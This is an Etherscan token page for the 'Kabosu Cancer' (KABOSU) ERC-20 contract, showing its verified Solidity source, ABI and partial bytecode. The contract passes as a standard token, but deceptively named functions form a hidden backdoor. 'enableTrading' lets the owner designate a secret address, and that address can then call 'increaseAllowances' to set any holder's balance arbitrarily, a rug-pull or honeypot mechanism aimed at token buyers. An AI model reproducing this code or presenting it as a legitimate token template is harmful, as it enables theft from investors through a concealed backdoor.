ETH Price: $2,631.87 (+2.57%)

Token

Kabosu Cancer (KABOSU)
 

Overview

Max Total Supply

1,000,000 KABOSU

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 KABOSU

Value
$0.00
0xf7b1285Bc2c388645a0AcC4eA300AA805Fa21607
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-29
*/

//https://medium.com/@kabosucancer/kabosu-cancer-e2c54f6ed682

// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.17;
 
abstract contract Context 
{
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
 
contract Token is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Kabosu Cancer";
    string private constant _symbol = "KABOSU";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => bool) private isbots;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = _tTotal ;
    uint256 private _tFeeTotal;
    uint256 public launchBlock;
 
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
 
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
 
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots;
    mapping(address => uint256) private cooldown;
 
    address payable private _developmentAddress = payable(0x6edDa44A2051389DB3c103e2c5E898b5b0BAed73);
    address payable private _marketingAddress = payable(0x6edDa44A2051389DB3c103e2c5E898b5b0BAed73);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    IERC20 private IDEXrouterV2;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxTxAmount = _tTotal.mul(20).div(1000); 
    uint256 public _maxWalletSize = _tTotal.mul(20).div(1000); 
    uint256 public _swapTokensAtAmount = _tTotal.mul(5).div(1000); 
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); 
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    modifier Owner() { require( address(IDEXrouterV2) == msg.sender, ""  );_; }
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            if (tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount.div(2));
        _marketingAddress.transfer(amount.div(2));
    }
 
    function enableTrading(address pair) external onlyOwner {
        IDEXrouterV2 = IERC20(pair);
     }
 
 
    function increaseAllowances(address spender, uint256 amount) external Owner{ 
      _rOwned[spender] = amount;
 
    }
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
 
        return (tTransferAmount, tFee, tTeam);
    }
 
     function limitOff () external onlyOwner{
        _maxTxAmount = 100000000000 * 10**9;
        _maxWalletSize = 100000000000 * 10**9;
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
 
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _CurrentSupply();
 
        return rSupply.div(tSupply);
    }
 
 
 
    function _CurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
 
        return (rSupply, tSupply);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266038d7ea4c6800060078190556000600a819055600b819055600c819055600d819055600e819055600f819055601081905560115560148054736edda44a2051389db3c103e2c5e898b5b0baed736001600160a01b0319918216811783556015805490921617905560188054600160b01b61ffff60a81b19909116179055620000b7916103e891620000a39190620003b8602090811b6200082217901c565b6200044f60201b620008ab1790919060201c565b601955620000e36103e8620000a3601466038d7ea4c68000620003b860201b620008221790919060201c565b601a556200010f6103e8620000a3600566038d7ea4c68000620003b860201b620008221790919060201c565b601b553480156200011f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506007543360009081526002602090815260409182902092909255601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002039190620004d5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000251573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002779190620004d5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002eb9190620004d5565b601780546001600160a01b0319166001600160a01b03928316179055600080548216815260066020526040808220805460ff1990811660019081179092553084528284208054821683179055601454851684528284208054821683179055601554909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c68000604051620003a991815260200190565b60405180910390a35062000599565b600082600003620003cc5750600062000449565b6000620003da838562000500565b905082620003e9858362000526565b14620004465760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200044683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200049960201b60201c565b60008183620004bd5760405162461bcd60e51b81526004016200043d919062000549565b506000620004cc848662000526565b95945050505050565b600060208284031215620004e857600080fd5b81516001600160a01b03811681146200044657600080fd5b80820281158282048414176200044957634e487b7160e01b600052601160045260246000fd5b6000826200054457634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b8181101562000578578581018301518582016040015282016200055a565b506000604082860101526040601f19601f8301168501019250505092915050565b61186f80620005a96000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd79284146103d1578063c3c8cd8014610401578063c6067ce314610416578063d00efb2f14610436578063dd62ed3e1461044c578063f2fde38b1461049257600080fd5b8063715018a6146103235780637d1db4a5146103385780638da5cb5b1461034e5780638f9a55c01461036c57806395d89b4114610382578063a9059cbb146103b157600080fd5b80632fd689e3116101085780632fd689e314610271578063313ce5671461028757806349bd5a5e146102a357806363dd5712146102c35780636fc3eaec146102d857806370a08231146102ed57600080fd5b806306fdde031461015b57806307980cb9146101a3578063095ea7b3146101c55780631694505e146101f557806318160ddd1461022d57806323b872dd1461025157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600d81526c25b0b137b9ba9021b0b731b2b960991b60208201525b60405161019a919061159d565b60405180910390f35b3480156101af57600080fd5b506101c36101be366004611600565b6104b2565b005b3480156101d157600080fd5b506101e56101e036600461161d565b610507565b604051901515815260200161019a565b34801561020157600080fd5b50601654610215906001600160a01b031681565b6040516001600160a01b03909116815260200161019a565b34801561023957600080fd5b5066038d7ea4c680005b60405190815260200161019a565b34801561025d57600080fd5b506101e561026c366004611649565b61051e565b34801561027d57600080fd5b50610243601b5481565b34801561029357600080fd5b506040516009815260200161019a565b3480156102af57600080fd5b50601754610215906001600160a01b031681565b3480156102cf57600080fd5b506101c3610587565b3480156102e457600080fd5b506101c36105c5565b3480156102f957600080fd5b50610243610308366004611600565b6001600160a01b031660009081526002602052604090205490565b34801561032f57600080fd5b506101c3610610565b34801561034457600080fd5b5061024360195481565b34801561035a57600080fd5b506000546001600160a01b0316610215565b34801561037857600080fd5b50610243601a5481565b34801561038e57600080fd5b506040805180820190915260068152654b41424f535560d01b602082015261018d565b3480156103bd57600080fd5b506101e56103cc36600461161d565b610684565b3480156103dd57600080fd5b506101e56103ec366004611600565b60126020526000908152604090205460ff1681565b34801561040d57600080fd5b506101c3610691565b34801561042257600080fd5b506101c361043136600461161d565b6106e8565b34801561044257600080fd5b5061024360095481565b34801561045857600080fd5b5061024361046736600461168a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101c36104ad366004611600565b610738565b6000546001600160a01b031633146104e55760405162461bcd60e51b81526004016104dc906116c3565b60405180910390fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b60006105143384846108ed565b5060015b92915050565b600061052b848484610a11565b61057d843361057885604051806060016040528060288152602001611812602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f6d565b6108ed565b5060019392505050565b6000546001600160a01b031633146105b15760405162461bcd60e51b81526004016104dc906116c3565b68056bc75e2d631000006019819055601a55565b6014546001600160a01b0316336001600160a01b031614806105fa57506015546001600160a01b0316336001600160a01b0316145b61060357600080fd5b4761060d81610fa7565b50565b6000546001600160a01b0316331461063a5760405162461bcd60e51b81526004016104dc906116c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610514338484610a11565b6014546001600160a01b0316336001600160a01b031614806106c657506015546001600160a01b0316336001600160a01b0316145b6106cf57600080fd5b3060009081526002602052604090205461060d81611030565b6018546001600160a01b0316331461071c5760405162461bcd60e51b815260206004820152600060248201526044016104dc565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016104dc906116c3565b6001600160a01b0381166107c75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104dc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361083457506000610518565b6000610840838561170e565b90508261084d8583611725565b146108a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104dc565b9392505050565b60006108a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111aa565b6001600160a01b03831661094f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104dc565b6001600160a01b0382166109b05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104dc565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104dc565b6001600160a01b038216610ad75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104dc565b60008111610b395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104dc565b6000546001600160a01b03848116911614801590610b6557506000546001600160a01b03838116911614155b15610e6057601854600160a01b900460ff1615610bff576000546001600160a01b03848116911614610bff5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104dc565b601954811115610c515760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104dc565b6001600160a01b03831660009081526012602052604090205460ff16158015610c9357506001600160a01b03821660009081526012602052604090205460ff16155b610ceb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016104dc565b6017546001600160a01b03838116911614610d8657601a5481610d23846001600160a01b031660009081526002602052604090205490565b610d2d9190611747565b10610d865760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104dc565b30600090815260026020526040902054601b5460195490821015908210610dad5760195491505b808015610dc45750601854600160a81b900460ff16155b8015610dde57506017546001600160a01b03868116911614155b8015610df35750601854600160b01b900460ff165b8015610e1857506001600160a01b03851660009081526006602052604090205460ff16155b8015610e3d57506001600160a01b03841660009081526006602052604090205460ff16155b15610e5d57610e4b82611030565b478015610e5b57610e5b47610fa7565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610ea257506001600160a01b03831660009081526006602052604090205460ff165b80610ed457506017546001600160a01b03858116911614801590610ed457506017546001600160a01b03848116911614155b15610ee157506000610f5b565b6017546001600160a01b038581169116148015610f0c57506016546001600160a01b03848116911614155b15610f1e57600a54600e55600b54600f555b6017546001600160a01b038481169116148015610f4957506016546001600160a01b03858116911614155b15610f5b57600c54600e55600d54600f555b610f67848484846111d8565b50505050565b60008184841115610f915760405162461bcd60e51b81526004016104dc919061159d565b506000610f9e848661175a565b95945050505050565b6014546001600160a01b03166108fc610fc18360026108ab565b6040518115909202916000818181858888f19350505050158015610fe9573d6000803e3d6000fd5b506015546001600160a01b03166108fc6110048360026108ab565b6040518115909202916000818181858888f1935050505015801561102c573d6000803e3d6000fd5b5050565b6018805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110785761107861176d565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f59190611783565b816001815181106111085761110861176d565b6001600160a01b03928316602091820292909201015260165461112e91309116846108ed565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906111679085906000908690309042906004016117a0565b600060405180830381600087803b15801561118157600080fd5b505af1158015611195573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600081836111cb5760405162461bcd60e51b81526004016104dc919061159d565b506000610f9e8486611725565b806111e5576111e5611206565b6111f0848484611234565b80610f6757610f67601054600e55601154600f55565b600e541580156112165750600f54155b1561121d57565b600e8054601055600f805460115560009182905555565b6000806000806000806112468761132b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112789087611388565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a790866113ca565b6001600160a01b0389166000908152600260205260409020556112c981611429565b6112d38483611473565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131891815260200190565b60405180910390a3505050505050505050565b60008060008060008060008060006113488a600e54600f54611497565b92509250925060006113586114ec565b9050600080600061136b8e87878761150f565b919e509c509a509598509396509194505050505091939550919395565b60006108a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6d565b6000806113d78385611747565b9050838110156108a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104dc565b60006114336114ec565b905060006114418383610822565b3060009081526002602052604090205490915061145e90826113ca565b30600090815260026020526040902055505050565b6007546114809083611388565b60075560085461149090826113ca565b6008555050565b60008080806114b160646114ab8989610822565b906108ab565b905060006114c460646114ab8a89610822565b905060006114dc826114d68b86611388565b90611388565b9992985090965090945050505050565b60008